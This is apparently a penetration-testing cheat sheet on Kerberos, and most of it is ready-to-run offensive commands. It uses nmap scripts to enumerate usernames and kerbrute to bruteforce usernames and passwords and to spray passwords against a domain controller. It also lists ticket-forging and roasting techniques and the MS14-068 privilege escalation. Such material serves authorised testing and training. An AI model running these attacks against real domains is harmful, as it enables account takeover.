Kerberos is an authentication protocol that works on the basis of tickets to allow nodes to prove their identity to one another in a secure manner. Its designers aimed it primarily at a client–server model, and it provides mutual authentication – both the user and the server verify each other’s identity.
Kerberos is based on tickets that expire in time. Pre-authentication scheme is based on “long term” key (key based on users’ password). Kerberos supports certificates (PKINIT) for pre-authentication.
- Kerberos (protocol) (Wikipedia)
- Kerberos (The Hacker Recipes)
Kerberos Delegation
- [KUD] Unconstrained: account can delegate to any service, delegation set on the account, requires domain admin privileges (SetEnableDelegationPrivilege in the domain)
- [KCD] Constrained: account can delegate to a set of services, delegation set on the account, requires domain admin privileges (SetEnableDelegationPrivilege in the domain)
- With protocol transition (“Use any auth. protocol”)
- Without protocol transition (“Kerberos only”)
- [RBCD] Resource-Based Constrained: a set of services can delegate to the account, delegation set on the account, does NOT require ultra high privileges, machine can configure itself for RBCD
Nmap scripts
IP=x.x.x.x
ls -la /usr/share/nmap/scripts/krb*
User enumeration
The Kerberos Realm is often the domain in uppercase! Try all these username lists 😉
USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
#USERS=/usr/share/seclists/Usernames/Names/names.txt
#USERS=/usr/share/seclists/Usernames/cirt-default-usernames.txt
REALM=EXAMPLE.COM
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm=${REALM} $IP
Really fast!
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm=${REALM},userdb=${USERS} $IP
Bruteforce
Official Documentation (GitHub)
Install kerbrute
sudo pip3 install kerbrute
Help
kerbrute -h
Bruteforce usernames
USE NMAP SCRIPT INSTEAD, WAY FASTER!
IP=x.x.x.x
DOMAIN=example.com
USERS=/usr/share/seclists/Usernames/Names/names.txt
#USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
#USERS=/usr/share/seclists/Usernames/cirt-default-usernames.txt
kerbrute -dc-ip $IP -domain $DOMAIN -users $USERS -password "12345" -outputusers kerbrute-users-${IP}.txt
Bruteforce passwords
IP=x.x.x.x
USER=myprecious
USERS=users.txt
DOMAIN=example.com
WL=/usr/share/seclists/Passwords/Common-Credentials/best1050.txt
#WL=/usr/share/wordlists/rockyou.txt
kerbrute -dc-ip $IP -domain $DOMAIN -user $USER -passwords $WL -outputfile kerbrute-${IP}.txt
kerbrute -dc-ip $IP -domain $DOMAIN -users $USERS -passwords $WL -outputfile kerbrute-${IP}.txt
Password Spray
kerbrute -dc-ip $IP -domain $DOMAIN -users $USERS -password $PASS -outputfile kerbrute-spray-${IP}.txt
kerbrute -d $DOMAIN passwordspray $USERS 'Password123'
Exploits
- Roses are red, violets are blue, S4U bamboozles me, U2U too (NorthSec 2023)
Ideas (The Hacker Recipes): Pre-auth bruteforce, Pass the key, Pass the ticket, Pass the cache, Pass the certificate, Overpass the hash, UnPAC the hash, Forged tickets (Golden ticket, Silver tickets, Diamond tickets, Sapphire tickets, RODC Golden tickets), ASREQroast, ASREProasting, Kerberoast, Delegations (e.g. S4U abuse), Shadow credentials, sAMAccountName spoofing, SPN-jacking
AS-REP Roasting
See AS-REP Roasting.
Kerberoasting
See Kerberoasting.
Overpass the Hash/Pass the Key
See Overpass the Hash/Pass the Key.
MS14-068 – Privilege Escalation
In November 2014, Microsoft released a patch (MS14-068) to rectify an exploitable vulnerability in Windows implementation of the Kerberos Key Distribution Center (KDC). The vulnerability purportedly allows users to “elevate” (and abuse) their privileges, up to Domain level.
- Microsoft Security Bulletin MS14-068 – Critical (Microsoft)
- Microsoft Windows Kerberos – Privilege Escalation (MS14-068) (ExploitDB)
- MS14-068 (The Hacker Recipes)